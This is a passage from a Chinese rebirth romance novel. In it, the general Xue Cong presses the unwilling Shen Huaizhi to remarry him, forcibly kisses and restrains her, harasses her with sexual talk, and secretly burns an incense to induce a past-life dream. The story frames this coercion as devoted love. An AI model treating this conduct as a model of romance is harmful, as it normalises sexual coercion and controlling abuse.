牵扯进银矿案的官员被押送进京后,刑部、大理寺、都察院三司会审又查出许多不法之事,最严重的当属其中有人勾结异族卖国,以致于惹得圣人在朝堂上大发雷霆。 等消息传回梧州,众人这才惊觉,梧州那场杀戮根本是迷惑有些人的障眼法,薛琮才真正是放长线钓大鱼,在对方松懈之时,将所有人打了个措手不及。 这下子,圣人磨刀霍霍向边防,梧州官场乃至边军将领里,其中无数人或被贬或被杀,即便未曾涉案之人,也均被调任或替换至别处,真正再一次重现了上辈子梧州官场的那场大地震。 再联想薛琮如今调任边军之举,只能说他算是彻底为自己扫清前路了。 当然,这只是沈怀栀的个人想法,对外当然另有一番说辞,比如圣人信重,以薛琮威名震慑本地官场,一方面历练心腹镇守边疆,另一方面当然是守好这个新银矿,以防止某些人暗中伸手谋私利。 总之,薛琮因公升官是半点不让人意外,但他在京里的行事,如果不是他自己亲口告诉沈怀栀,她当真想象不出他的手段。 “真珠,许久未见,我当真是没想到,再次见面你竟然给了我这么大一个惊喜。”田边树荫下,薛琮带来的人马守在周围,将一个原本平静的小山村瞬间变成了无人踏足之处。 啾啾鸟鸣里,薛琮坐在树下的一块干净石头上,似笑非笑的看着做已婚妇人装扮的沈怀栀。 “为了出行方便而已。”沈怀栀想起自己之前为减少麻烦以年轻寡妇自居的做派,眉头皱了皱,“再者说,真论起来,我这身打扮也有几分道理。” 闻言,薛琮笑了下,目光深深的看她,“若真要论道理的话,我倒想知道,你这守的是哪个人?” 沈怀栀不语,自顾自打开水囊喝了两口水,看起来并不想和他深谈的模样。 薛琮却不怎么在意,动作亲密的靠近她身边轻声道,“若是为我守寡,那薛夫人当真是守得云开见明月,终于等回了你的死鬼夫君,自此我们之间就是一场人鬼情未了的戏码。” “可若是守的是别人,”他的声音愈发低了,“自此之后你我也是要双宿双栖的。” 沈怀栀听得心里不痛快,忍不住瞪了他一眼,“你想太多了。” “多吗?我不觉得,”薛琮道,“凡事预则立,不预则废,你应当庆幸你这辈子没选怀逸,不然纵然是你们成了亲,我也是要不择手段强取豪夺的,到时候闹得大家彼此颜面难堪,反而不好。” “看来一段时间不见,你又故态复萌了,”沈怀栀冷声道,“所以我离你远些是对的,省得整日里听你胡言乱语。” “躲着避着只能享一时安稳,”薛琮道,“想要真正从根源上解决问题,你就得面对我。” “我给你这么多机会和选择,你总不能一次都不把握。” “我不想在这里和你谈这些,”沈怀栀起身道,“我这两天要在田里看秧苗,你若是有事就忙你的正事去,若是无事,也不要来扰我,我暂时不想分心同你扯这些。” 对于沈怀栀的消极抵抗,薛琮本人摆出了宽容大度的态度予以放纵,“既然你不急,我更不急,正好接下来我要在这边待上几年,说不得能日日陪伴你,等哪日我们成亲后更是能像从前一样亲密无间,所以,我有很多耐心陪你解决问题。” 沈怀栀终于明白为何薛琮又突然抖起来了,他这次全然是有备而来,打算逼她成婚了。 所以,当一个人为图一时安宁不断妥协时,距离被逼至底线也不远了。 她的半年,是眼不见心不烦视而不见的半年,而薛琮的半年,是诸事齐备以待东风的半年。 就像薛琮说的那样,她当真需要认真起来,好好想想该如何从根源上彻底解决问题了。 *** 薛琮留了些人手给沈怀栀,纵然她现在无比安全,依旧不妨碍他层层加码。 在当初南下梧州时,薛琮就已经想好日后的路要如何安排,现在也不过是按部就班的实现当初的计划而已,唯一有所意外的,就是牵扯出来的银矿案超出他的预计,但即便如此,他依旧手段雷霆的清扫了本地官场,让圣人放手将边军军权交托,现如今他出现在这里,就意味着从此之后梧州尽在他掌控之中。 毕竟,他舍了京里那么多好处和乐子,可不是来这边为他人做嫁衣的。 妻子,他肯定是要追回的,但不意味着他无心权力,恰恰相反,为了拥有她护住她,他必然要重新走上上辈子的老路,做一个权倾朝野的权臣,否则,性命与未来捏在他人手里,当真是睡觉都闭不上眼。 只是这次,五皇子这个喜欢发疯的就不必做先帝成为他的困扰了,薛琮早已经为圣人安排好了新的继承人。 而且,他这位长辈一定会非常喜欢他的安排。 远在千里之外依旧为京中形势操心的薛琮开始着手接收边军军权,纵然他此前在梧州已杀出威名,还是圣人信重心腹,但对有些人来说,依旧是不肯轻易妥协放权的。 但上辈子年纪轻轻就能在西北边疆打得北戎不敢南下的强权将军,这辈子的手段只会比上辈子更加深沉老辣,是以,不过短短半月时间,薛琮本人就在边军之中威名更甚。 等他带着兵马某日突然奇袭某异族小国,带着一干新属下夺得战功抢得无数战利品之后,伴随盛名而来的是诸多认同。 战场之上,厮杀声震天,身先士卒的将领长枪在手,如同对猎物展露獠牙的猛兽,收割敌人性命仿佛易如反掌。 掌旗使跟在将领身边挥舞着军旗,同对方一起朝着敌军冲锋,就这样一次次的吹起了胜利的号角。 铁蹄滚滚中,从前和异族对阵中胜败参半的边军,就这样化为一柄彻底开封的利刃,将眼前所有阻挡他们的敌人全部斩落马下,逼得对方落败而逃。 就这样,两军交锋之中,边军越战越勇锋芒毕露,而异族见势不妙四处溃散,就这样成为了薛琮入主边军之后的无数战功。 这些胜利与战功,不止打出了薛琮立足边军的底气,同时也让圣人龙心大悦,等沈怀栀磨磨蹭蹭的又在小石村拖延许久回到州城时,城里已然尽是薛琮这位边军新秀的传闻。 夏日即将来临,州城里本就热闹,灯会花会不知凡几,沈怀栀未曾告知父亲自己突然回来的消息,只打算在城里停留一日便回庄园去。 “姑娘,外面真热闹啊,”冬青掀起马车上的帘幕,露出窗外街道上的盛景,“您这阵子在乡间待的久了,咱们要不要下去转转,沾沾这热闹的烟火气?” 州城作为梧州中心,本就是最热闹的地方,且南边这些蛮人喜爱歌舞,不同部族还时常有各自的活动与节日,以致于到处都是人头攒动与人声鼎沸,仿佛梦回帝京。 路上人多,马车自然也慢,沈怀栀听着外面吵闹声突然来了兴致,“下车走一段也好,总归这会儿人多,坐车还不如走路来得快。” 闻言,冬青与冬桃两人再赞同不过,三人相互扶持着下了马车,相携进入热闹人群。 护卫们跟在旁边警戒,沈怀栀边走边看,最后在街边寻了个酒楼歇脚。 “我去给姑娘买些小食,”二楼临窗处,冬青踊跃道,“上次姑娘还说喜欢那家的口味 呢。” “带个护卫跟你去,”沈怀栀道,“别跑太远,人多容易出乱子,你仔细着些。” 月夜银辉下,游人如织,沈怀栀看着夜色与灯火,冷不防突然被一盏漂亮花灯挡了视线。 “本想忙完去寻你,没想到你先走一步,”薛琮将花灯放在沈怀栀面前,对她笑道,“幸好我脚程不慢,不然就同你错过了。” 沈怀栀愣了下,看看眼前漂亮花灯,又看看一身风尘仆仆的薛琮,意外中是措手不及。 最近因为成婚这件事多少有些困扰的沈怀栀,看着眼前这个意气风发好像回到当年的薛琮,慢慢皱紧了眉头。 她很清楚他是要来答案的,而她确实给不出他想要的答案,他们两个,接下来怕是又要起一番争执了。 鉴于此,她让人将位置换到了楼上的包厢,对薛琮道,“好久不见,我们谈谈。” 薛琮自然无有不应,当只剩两人独处时,沈怀栀还在想要从哪里入手开口谈两人的婚事,人就被对方半搂半抱的锁进了怀里。 这下子,她不用操心自己如何开口了,因为她已经再无半点开口机会。 第52章 第52章—— 等沈怀栀被放开呼吸恢复平和,已然是很久之后。 她重重的擦了下又热又痛的嘴唇,想要尽快消除这点暧昧旖旎,正正经经的同薛琮开始一场正式谈话。 反倒是薛琮本人,心思全放在其他事情上,他站在一旁,含着笑意好整以暇看她,“看起来我留给你的这段时间,你有好好思考我们之间的未来。” “正好,我也有许多事要同你说。” “既然如此,那你先说,”沈怀栀一开口就发现发觉自己声音不对,她努力清了清嗓音,给自己倒了杯茶以作掩饰,“我洗耳恭听。” 将她的窘迫看在眼里,薛琮挑了挑眉,轻笑道,“再过一段时间,岳父大概就要回京述职了。” 说起来,这并不算什么令人惊讶的消息,但沈怀栀注意到薛琮的态度和用词,“回京”两个字让她心中生出微妙预感。 因着这股预感,她便也直接问了,“你的意思是,父亲可能会调职入京?” 至于老夫人期望的升迁,那是没指望了,梧州官场这次动荡,父亲纵然卷入不深,但也不意味着清白无辜,这种情形下被调回京内,显然是不可能有所升迁的。 而这位沈刺史被调职的原因,沈怀栀看了眼薛琮,显然对方功不可没。 “不是可能,是一定,”薛琮淡淡道,“圣人再如何信重我放心我,也不可能放任一对翁婿共掌上州军权与政事。” 闻言,沈怀栀沉默,道理是这个道理,但听起来冠冕堂皇的理由不一定真能让人心悦诚服,至少,她心底是为此感到不安的。 她知道薛琮在盘算着什么,但能做的也不过是见招拆招。 “其实,他们一家人回京也好,”薛琮看着她道,“至少日后不会有机会来烦你。” “倒也称不上烦。”沈怀栀如实道。 若说从前她和双亲弟妹之间还有几分血缘牵绊带来的感情,自重生之后,这份感情就开始变得越来越淡,她再不期望从这些人身上得到什么,同样也给不出什么,只希望大家按部就班的相敬如宾,不愿生出更多更深的牵扯。 所以,只要不来打扰控制她的新生活,随他们待在那里都好。 “不管烦不烦,他们都是要回京的,”薛琮轻描淡写的道,“总之有我在,日后他们是烦不到你的。” 沈怀栀不想为此对薛琮道谢,因而只淡淡的虚应了一声,算是知晓。 薛琮见她情绪始终不高的模样,心下失望,真珠待他,总是太过消极,他不喜欢。 因着这份不喜,他上前一步重新将人搂进了怀里,用力压了压,低声道,“对着我,我们真珠总是不怎么开心。” 沈怀栀没否认,侧头想要避开他亲过来的举动,但这份拒绝与逃避似乎突然触到了薛琮的逆鳞,让他直接将人抵在了墙壁上,仗着体力优势开始肆无忌惮。 又发疯! 沈怀栀心底狠狠的骂了一句,人却只能被控制着作为俘虏与猎物供狩猎者享用。 之前也就罢了,现在依旧如此,她真的很难不生气,因此这次丝毫不肯退让妥协,从头到尾都在拒绝。 “你再胡闹下去,我不确定自己还能放开你。”薛琮将人扣在怀里,呼吸贴在沈怀栀颈侧,语调沙哑,“真珠,你乖一点。” 到底是谁在胡闹? 被倒打一耙的沈怀栀是真的很想发脾气,但薛琮的手扣着她的腰,两个人被迫紧紧贴在一起,那异样的反应是如此明显,以致于她瞬间紧绷起身体,恨不得立时分开,就连呼吸都带着几分小心翼翼。 “你冷静一点!”她声音僵硬的道。 “怎么不继续了?”她不动,薛琮反而有些失望,只能紧紧抱着人暂时聊以慰藉,等待这段难熬的时间过去。 但约莫是之前忍了太久,薛琮这会儿当真是不剩多少耐心与理智,当他控制不住往前顶时,沈怀栀立时颤了一下。 “你真应该庆幸这是在外面。”薛琮这么说着,然后咬牙切齿的将怀里的人转了个身,压低声音道,“放心,我不会碰你,但也仅止于此了。” 人靠在冰冷的墙壁上,沈怀栀心惊胆战的听着身后的动静,薛琮诚如自己所说,没再有什么不轨与越界,但不意味着他会轻易放过嘴边的猎物。 紧贴在耳侧的低哑声音曾经听过无数次,不过那时候是亲密且正经的,如今这次则不然,沈怀栀极力想捂住耳朵,不去听那些从未料想过的污言秽语,但薛琮偏偏不肯,他用力抓着她的手腕,迫使她一字一句全都听进耳里。 手腕被捏得发疼,无论如何都挣不开,她只能紧紧闭着眼,希望这场折磨早点过去。 “我好想念你那时候紧紧缠着我的样子……” “你不知道你哭起来……” “我这么想念你渴望你,你有没有感觉到……” 薛琮的所谓想念,让沈怀栀浑身寒毛直竖,此时的她很清楚他不是在说什么情话,而是纯纯粹粹的在传达男女之欲。 盘旋在耳边的字字句句里都是浓重的侵略与渴望,简直让人难受至极。 已经到了必须说清楚摊牌一切的时候了,不然沈怀栀怀疑再放纵下去,她的未来将会重复上辈子的老路,再无重见天日的可能。 她绝不允许! 等薛琮恢复正人君子模样时,沈怀栀已经因为过度的紧张与僵硬差点虚脱,她带着浑身冷汗被薛琮拢在怀里,恍惚间好像回到了他重生那日两人重逢之时。 久违的,沈怀栀再一次感受到了薛琮身上的危险与可怖。 她决不能重蹈覆辙,她听到自己如此说。 薛琮细心的为心爱之人擦去身上冷汗,神色含情带笑,“好像吓到我们真珠了?没关系,下次就不会了。” “毕竟天长日久的,你日后总会习惯。” “我不想习惯!”沈怀栀按住薛琮的手,神色冰冷的道,“也永远不会习惯。” 薛琮不置一词,但看神情,显然是并未将她这番抗拒放进眼里,看来,他当真十分有底气让自己称心如意。 “放心,我不会逼你,”薛琮说着自己都不信的假话,笑着道,“我接下来会在梧州待上好几年,有的是时间陪你做想做的事,但凡我们真珠想要的,想达成的愿望,我都会帮 你实现,绝不会让你有一丝遗憾。” 甜言蜜语听起来总是充满诱惑的,但再好听,也不过是包裹着蜜糖的毒药,一旦吃下肚,只会让人肝肠寸断。 薛琮还在继续说,“离京之前,我为圣人寻到了那位名满天下的神医,有神医随侍在侧,圣人还会撑上更久时间,延年益寿也不无可能,更何况,诸位皇子如此不成器,圣人如何放心将江山托付,哪怕是为了江山社稷稳固,也会努力多熬一段时间。” “不过,皇子们虽不成器,但皇孙们未必不成,听说前废太子的儿子近期到了圣人跟前尽孝,很会讨人欢心,想必再过不久,京中形势就又会变上一变了。” “想必人是你费心推上去的,”沈怀栀冷声道,“既然京里大业未成,你何不继续待在京里做你的幕后黑手,南下实在不是明智之举。” “不明智吗?”薛琮摩挲她后颈的动作停了一瞬,“或许吧。” “谁让我想你想得发疯呢。” “你若是愿意跟我回京,我会立刻带你离开。” “我不走!”沈怀栀强忍着情绪道,“薛琮,我问你,在我身上,你到底想得到什么,想要达成什么愿望?” 薛琮定定的看着极力压抑情绪的沈怀栀,缓缓坐直身体,“既然你认真问我,那我也认真回答你。” 他一字一句沉声道,“真珠,我要你再次成为我的妻子,和我一生一世相伴到老。” “至于生儿育女,倒是无所谓,有没有孩子我不在乎,但你必须陪在我身边,以好好活着的,只属于我妻子的身份。” “这听起来,似乎是很简单很诚恳的请求。”沈怀栀面无表情道。 但很可惜,她做不到。 如果没有窥见过光明,没有体味过海阔凭鱼跃天高任鸟飞的滋味,沈怀栀还愿意妥协周转,但尝过之后,她就不想再浪费时间,委屈自己。 “薛琮,你觉不觉得,这辈子的你和我,就像从前我和你,”沈怀栀看着薛琮,与他视线相对,一字一句道,“那时候,非要强求的是我,现在,非要强求一切的是你。” “这种彻底反过来的人生,让我们都体会到了对方曾经尝过的滋味,说起来,这应该是好事,但我们一个得出的是己所不欲勿施于人,一个却执迷不悟自私偏狭,你觉得,如今的我们,当真还能破镜重圆吗?” “为什么不能?”薛琮凝眉反驳,“只要你点头,只要你答应,我们就能回到从前,一切都会回到最好的时候。” “我不在乎你心里放着怀逸,只要你人在我身边,重新成为我的妻子,这就足够了。” “当真如此吗?”沈怀栀冰冷的视线直刺薛琮心底,“你真的能容忍我心里挚爱着另一个男人?不,你做不到,你永远做不到。” “自私偏执的人永远最爱自己,你只会一日日的愈发不满足,被贪婪之心控制,然后放纵你的私欲来摧毁我心底这份挚爱,哪怕是逼迫我控制我也好,你都要尽己所能达成所愿。” “你不会容忍我人在你身边,心里却想着其他男人的,哪怕你嘴上说得再好听,也不过是骗人骗己的鬼话,我不信,你也骗不过自己。” 闻言,薛琮久久沉默。 诚如沈怀栀所说,她是真的很了解他。 确实,如果在他坚持想要同她谈情说爱时,她却冷漠以对相敬如宾,心里只惦记着那个早就不在了的陈怀逸,他当然会不满足到发疯。 毕竟,他是如此的深爱她。 可爱,本就是自私狭隘的情感,甚至于在薛琮心里,爱这种东西,从来不是美好的代名词,它是阴郁的狭隘的自私的,甚至可能是丑陋的。 美好的从来是人,只有美好的人才能付出美好的感情,而自私的人,他的爱当然是自私偏执的。 “所以,这就是你打算用来拒绝我的理由?”许久后,薛琮冷声问道。 沈怀栀目光深深的看了他一眼,摇头道,“并不是。” 如果按照薛琮的打算,这么继续下去,他们成婚再度成为夫妻,或许有一天他们之间可能会再次产生名为爱的情感,但那又如何呢。 “我不想要成婚,不想要嫁给你,不想成为谁的妻子谁的母亲,我不想爱谁也不想恨谁,我只想做我喜欢的事情,平平静静的过完我第二次拥有的人生。” “我拒绝你的理由,只是因为我不想我不要,除此之外全都不重要。” 在沈怀栀心里,如果她为了得到新的人生向薛琮妥协,从而走入一段她不喜欢也不想要的婚姻,那无疑是本末倒置。 “因为不想,所以不嫁,是这样对吗?”薛琮缓缓复述着她的理由,仿佛觉得有些可笑似的,由着两人之间陷入了凝滞。 “人终归是无法感同身受的。”最后,沈怀栀冷漠着下了结论。 或许,在薛琮心里,她因为惦记怀逸拒绝他都比这个理由来得好一些能让他接受一些,可偏偏,这却是她最真实不过的想法。 毫无疑问,她和薛琮之间是谈不拢无法达成共识的,她已经可以想象出日后她与他之间闹到鱼死网破一地鸡毛的未来。 就算是上辈子,哪怕她没死于李玉瑶的私欲,他们两个恐怕也会因为和离闹到两败俱伤,薛琮强求的东西她不想给也给不了,而她想要的东西薛琮能给也不肯给不会给,怨偶说的就是他们了。 “感同身受……”薛琮品味着这几个字,抓紧了怀中人,“真珠,不管我能不能感同身受,我都不会放手。” “现在不想嫁不要紧,总有一天,你会改变主意。” “是吗,”沈怀栀缓缓道,“那我们拭目以待,看我到底会不会改主意。” “但丑话说在前面,如果你打着对我强取豪夺的主意,想把我困在身边,那就是逼着我同你决裂。” 沈怀栀对上薛琮幽黑深邃的视线,一字一句道,“真要斗,我是斗不过你的,但我知道怎么让你痛苦,怎么伤害你。” “毕竟,这把伤你的刀,是你亲自送到我手里的。” 薛琮定定的看着她,突然动作粗鲁的将人扣进怀里压了过去,呼吸错乱的间隙,沈怀栀听到他说,“你当真是不管什么样子,都让我爱得发疯。” “不嫁算什么,有本事让我别碰你!” 沈怀栀自然是没这份本事的,她不止心机斗不过薛琮,力量上更是天壤之别,最终只能饮恨败北。 为此,她怒上心头时情不自禁的对着薛琮下了狠手,直到对方神色苍白满脸冷汗的倒在她怀里,她才惊觉自己到底做了什么。 倒是痛得脸色发白的本人,仍旧有心力和余裕安慰她,“别担心,就算我真被你变成了太监,也依旧有手段满足你,我们真珠亏不了的。” 至此,沈怀栀终于愿意承认,和薛琮斗,她没有半分胜算。 他这个人是如此之疯如此之狠,只怕这辈子她都摆脱不了他,鉴于此,她只能改换手段了。 这天,沈怀栀最后被薛琮带回了自己在州城的府邸,临睡前,她看着神情安然躺在自己身边的薛琮,认真的思考了一个问题,或许,薛琮那份自私的爱,比她以为的要重得多,当然,也疯癫得多。 她应当更加认真仔细的审慎这段孽缘了。 *** 午夜时分,睡眠酣沉之际,搂着心爱之人的薛琮睁开了眼。 他看着账顶的如意花纹,目光深沉,真珠 一定没发现,这花纹是他们新婚后夫妻恩爱的那段日子里,她最喜欢的纹样。 不过,这些已经不重要了。 他下床走到外间,从妆奁里拿出一盒香气悠悠的熏香,放进香炉中点燃,等香气在房中缓缓逸散时,他回到沈怀栀身边,搂着她闭上了眼睛。 原本没打算这么早用的,但事已至此,他当真想于梦中看一看,她和他之间最坏到底能走到什么地步。 于是,成平七年春雨连绵的深夜里,刚过完生辰小憩后醒来的定国公夫人睁开了眼睛。 第53章 第53章前世梦境一 外间春雨依旧在下,屋内灯火煌煌,隔着屏风,沈怀栀看到了终于归来的丈夫,薛琮背对着她坐在那里,手中一张薄薄纸张,看起来似乎有些像被她放在妆奁里的和离书。 她缓缓起身,发出些微动静,外间那人闻声看来,却并未开口说一字半语。 如此平静的模样,看来是她想错了,若当真是那封和离书,薛琮的反应恐怕不会如此。 毕竟,就算心中另有所爱,他也不见得想突然失去一个知情识趣相敬如宾的妻子以及还算称职的贤妻良母。 沈怀栀越过屏风,走向她的丈夫,语调淡淡,“国公大人终于回来了。” 她在薛琮面前坐下,正准备给自己倒上一杯茶水时,略过那张纸的视线却陡然凝滞,诚如她之前所想,薛琮此时手中拿着的,确确实实是她亲手写下的那封和离书。 再去看薛琮表情,在外权柄加身威严深重的丈夫,此时依旧威仪俨然气势逼人,让人窥不见深沉眼底的半分心绪。 短暂的停顿过后,沈怀栀照旧给自己倒好了茶,甚至,她还颇有余裕的询问了薛琮一句,“大人喝茶吗?” 姿态端严宛如置身朝堂的薛琮静静的坐在那里,神情凛冽如霜,灯火明灭间,他看着自己美丽温婉的妻子,沉声开口,“我以为,你想和我说的不止这些。” 茶水入喉,沈怀栀深深舒了口气,她看向自己早已成婚多年的丈夫,语调平静道,“有必要说吗?我以为大人看到你手上的东西,应当已经了解我所想了。” 显然,她这番态度是让薛琮很不快的,对方目光定定的看着她,眉目间终于有隐隐怒火,许久后,他突然冷笑一声道,“了解你所想?” “夫人是说,让我允你和离,好让你从此之后可以抛夫弃子再无顾忌的去思恋另一个男人吗?” 过于尖锐直白的言辞让沈怀栀眉心一跳,她始终平静的面容上终于多了几分异样情绪,继而语调沉沉的道,“薛琮,你什么意思?” 被询问的人没有回答她的问题,而是直接起身将那封早已准备许久的和离书当着沈怀栀的面撕了个粉碎。 薛琮居高临下的看着她,抛弃两人之间所有温情假面,用一种冰冷且无情的语调道,“没什么意思,只是不肯让我的定国公夫人如愿而已。” 一句话堪堪至此,但后劲绵长,足可供人品味无穷深意。 屋外春雨连绵,夜色沉沉,有夜风从半开的窗棂里吹进内室,烛火晃动间,沈怀栀看着薛琮那张神情晦暗不明的脸,沉默不语。 薛琮似乎没有想和她继续深谈的打算,毫不犹豫转身离开,衣摆掀起淡淡微风,那张被撕掉的和离书碎片落在沈怀栀眼前,纷纷扬扬宛如冬日冰雪,砸在她眉眼与心间。 见薛琮想要离开,她遵循内心所想,下意识伸手紧紧抓住了薛琮的袖摆,“不准走!” “不准走?”薛琮停下脚步,反手握住她的手动作粗鲁的将人扯进怀里,压低了声音道,“夫人留我下来,是要同我细说你对某人的深情厚意,让我成全你一片痴心?还是终于记起你到底是谁的妻子谁的母亲,打算好好履行你身为妻子的职责?” 沈怀栀努力挣扎了两下,却始终没能挣脱丈夫的控制,于是只能用冰冷目光与他对视道,“既然话已经说开,那大家就不必再继续装聋作哑下去了。” “薛琮,看来是时候将一切摊开来明说了。” 薛琮目光沉沉的看着怀中人,许久未有反应,直到沈怀栀因为他过于用力的动作发出呼痛声时,他那张面沉如霜的脸上终于露出一点冰冷笑意,“好啊,我确实很想听听,今日定国公夫人会说出什么话来来为自己陈情辩解。” 陈情?辩解? 沈怀栀觉得薛琮这两个用词格外可笑,于是,她也当真露出两分讥讽笑意来,“我无需为自己陈情辩解,我心中另有爱慕之人又如何,国公大人同我不过半斤八两,何必五十步笑百步,平白说出来让自己难堪。” “难得,你终于肯承认自己另有所爱了。”薛琮居高临下的俯视着怀里的女人,一个明明身为他的妻子却心中挚爱其他男人的女人。 他心底的怒火再难以压制,烧得他整颗心都要炸裂开来,以致于他那张保持了许久的冷静面孔逐渐被怒火侵蚀,在慢慢丧失理智之后变得狰狞可怖起来。 显然,沈怀栀是很讨厌他这副模样的,她急切的想要从他怀里挣扎着脱身,反唇相讥道,“是啊,我承认自己另有所爱,那又如何,我不过是做了和你一模一样的事情而已。” “薛琮,既然我从不干涉你在外如何行事,你便也不必来鄙夷我琵琶别抱,大家彼此彼此,乌鸦不笑猪黑,都一样的厚颜无耻。” “是很厚颜无耻,”薛琮冷笑着道,“毕竟,我从未想过,当你打算和我摊牌时,竟然会是如此理直气壮的态度。” “怎么,你希望我心虚愧疚对你心怀歉意?”沈怀栀冷声道,“那很抱歉,我绝不可能有这种想法,就算我真的愧疚,也是对我的孩子,这其中却绝不可能有你。” “在你面前,我没有半分愧疚之心!” 无论是沈怀栀的话语还是态度,在薛琮眼里都刺眼刺耳极了,他伸手抬起她的脸,对上她不适眼神,神色晦暗的道,“真珠,你果然很会惹我生气。” 话落,他低头堵住了那张总是说出让他不快言语的嘴巴,他从前就是太放任,才让她觉得自己可以肆意妄为,竟然背着他爱上别的男人,甚至于到了今日,她都未曾有半分后悔反省之心,竟妄图同他和离。 沈怀栀!沈怀栀!沈怀栀! 薛琮唇齿间恨不得碾碎这个名字,让这个扎根在他心尖的女人从此化为齑粉,再不能左右他的心绪。 男人英俊锋锐的面孔上是极尽扭曲的痛楚,他抓紧了怀里的人,只差一点,就要拧断她的骨头。 被死死禁锢在牢笼里的沈怀栀只觉得极度不适,仿佛浑身被危险笼罩,曾经的丈夫宛如失控毫无理智的猛兽,在挣脱了理智的枷锁之后,所有的兽性都朝着她倾泻而来。 “薛琮!薛琮……” 终于,强忍疼痛的声音唤回了有些人失控的理智,薛琮捂住那双朝他看过来的眼睛,神情扭曲的道,“闭嘴,我现在不想听你说话!” 第54章 第54章前世梦境二 “你以为我就想听你说话吗?”沈怀栀挣扎着道,她语气愤恨极了,“你以为就你会生气会发脾气,无论你说什么我都要听!我是你的妻子,不是唯你命是从的下属!” “少在这里自以为是了!” 情绪激动的沈怀栀指责着她强权且不讲理的丈夫,每一字每一句里都是控诉与反抗。 薛琮稍稍放松了一些制住妻子的力气,看着她仿佛燃烧着火焰的眼睛,冷笑着道,“怎么,终于不摆你那副心灰意冷的做派了,终于忍不了只能天天看眼前这株破海棠树了,打算搬去你那个清晖园天天缅怀他是不是?” “是又如何?”沈怀栀眼含挑衅的道,“你不也天天去宫里见你那位心爱的太后娘娘吗?大家彼此彼此。” “心爱?”薛琮强压着暴怒的情绪道,“是啊,我是有心爱的女人,那又如何,你以为想和离就能和离,少痴心妄想了沈怀栀!” “你与其求我同你和离,倒不如盼着我休了你还更有可能!” 见她被他这番话气得气息不稳,薛琮压低了声音满含恶意的道,“总归,七出之条你已经犯了淫佚这一条,作为丈夫,我以此当真休了你不为过吧。” “好啊,你有本事就休了我!”沈怀栀冷笑道,“最好让全天下所有人都 知道我们定国公大人被我带了绿帽子,只要你敢给我休书,我就敢接,哪怕我有三不去又如何,只要国公大人愿意,我就合该做个丢人现眼的下堂妇!” 所谓伤敌一千自损八百,说的就是眼前这对怨偶了。 纵然薛琮不过是气头上出言恐吓,也没想到竟然能诈出沈怀栀这番心思,以她素来的脾性,被逼到绝境时,是当真敢同他鱼死网破的,就如同她年轻时心爱他愿意为此冒天下之大不韪一样。 这次,她同样有这样的底气与勇气同他撕破脸,只为了抛弃他追逐一个早已死掉的男人。 薛琮看着她那双倔强不屈的眼睛,是真的被气到发疯。 你看,他眼前这个女人,早已经不在意他心里有谁心爱谁,她只看得到那个早已死去的人,心心念念的全是那颗破树那个破园子,为此她宁愿抛家舍业抛夫弃子,只为了达成心中所愿。 一时之间,他竟然分不清他们两个人里谁更自私更冷酷无情一些。 薛琮恰到好处的沉默让沈怀栀反击的气焰更加嚣张,她抓着薛琮的手臂用力道,“不是要写休书吗?写啊,现在就写,我在这里看着你写!” 这次,换做薛琮下意识挣扎了,他甩开她的手时动作太快,以致于两人都未反应过来,就这样,一记清脆的耳光声突然响彻内室。 呼吸急促的沈怀栀看看自己发疼的手,再看看薛琮脸上渐渐浮现出痕迹的地方,如梦初醒般,突然下意识的再次甩了一记耳光过去。 薛琮不吝啬用言语羞辱她,她当然也要立时羞辱回去,就算触怒他又如何,她宁愿选择以牙还牙以血还血。 这次,薛琮能躲也没躲,他就那样直勾勾的盯着沈怀栀,被她那记毫不吝啬力气的耳光打得微微偏过头去。 “第一次有人敢这么打我,”薛琮抓住沈怀栀想要缩回去的手,一字一句道,“但是你,我已经习惯了,毕竟,你早已不是第一次将我的脸面踩在地上。” “现在不过是换了个方式羞辱我而已。” “说得好像你不曾羞辱过我一样。”沈怀栀用力咬了一口薛琮制住她的手,在上面留下斑斑血痕后才冷笑着道,“当然,我们国公大人从来不会自己亲自出手做这些庸俗举动,他只会借用别人的手别人的嘴来羞辱我这个早就碍眼的妻子。” “是很碍眼,”薛琮语气冷酷的道,“从你选择背叛我那天开始,就碍眼极了。” “真好,你现在终于肯承认一切都是你故意为之了,”沈怀栀又想给他一耳光了,“我那个多年来精明强干心机深沉的夫君,如何会不知晓他的妻子在外面是怎样一种处境,偏偏那些流言与羞辱就是如影随形,无论何时都无法摆脱,你看,一切都是有迹可循的。” “说到底,你就是故意要我承受这些嘲笑与羞辱罢了。” “那又如何?”薛琮面上半分不见反省与悔改模样,神情愈发冰冷,“背叛者理应有这个下场,当初你对怀逸动心时,就该知道我不会轻易放过你们。” “你别提他的名字!”沈怀栀无法容忍从薛琮嘴里听到这个名字,甚至于激动到开始质问他,“是不是你?他的死是不是和你有关?!” 人一旦起了疑心陷入阴谋论,那无论看什么都是疑虑重重的,就如此时的沈怀栀。 薛琮真想顺势承认啊,一个是心爱的妻子,一个是信任的知交好友,最后却彼此心心相印联合起来背叛了他,让他成为三个人里最多余的那个笑话。 可偏偏,看着沈怀栀差一线被逼到发疯的模样,他到底忍住了话到嘴边的嘲讽,只要他打算失去她,让这辈子两人之间的关系再无转圜,那他尽管承认好了。 于是,他忍下了这又一次的耻辱,冷声道,“一个觊觎他人妻子的卑劣之徒,虽然早已不配做我的朋友,但我还不至于下作到出手谋害他的性命。” 最多只让这个卑劣之人,永远再不能接近他的妻子罢了。 因为剧烈波动的情绪有些头晕目眩的沈怀栀,闻言下意识松了口气,冷静下来后,她是相信薛琮这番说辞的,或者说,她必须相信。 她捂着自己发晕的头,努力回想着过去的点点滴滴,再三确认薛琮所言当真属实之后,整个人瞬间没了力气跌坐在对方怀里。 “真是情深意重啊,”薛琮冷声讽刺道,“仅仅只是提到他,就让你这么大反应,我真应该庆幸怀逸人已经不在,不然此时将你抱在怀里的人只怕早就不是我了。” 沈怀栀厌烦的瞪了一眼阴阳怪气的薛琮,言简意赅道,“闭嘴,我现在不想听你说话。” “我当然可以闭嘴,”薛琮说,“前提是,你为之前羞辱我这件事付出代价。” “两个耳光而已,你若是想打回来,悉听尊便。”沈怀栀漠然道,“总归日后只要有机会,我还是会毫不犹豫的打你。” 薛琮目光定定的看着她那副死不悔改的姿态,突然道,“你若是早有这番脾气就好了。” 但凡沈怀栀在李玉瑶的事情上有现在两分脾气,薛琮都不会这么恨她,她越冷静越是无所谓,就意味着她心里他这个所谓的丈夫越不重要。 甚至于,她可能还在庆幸他终于多了这么一则风流韵事,这样,她才能有正大光明抛弃他的理由和借口。 薛琮终于肯承认,自己蠢得出奇,用了适得其反的手段逼她更加理直气壮的离开自己抛弃自己。 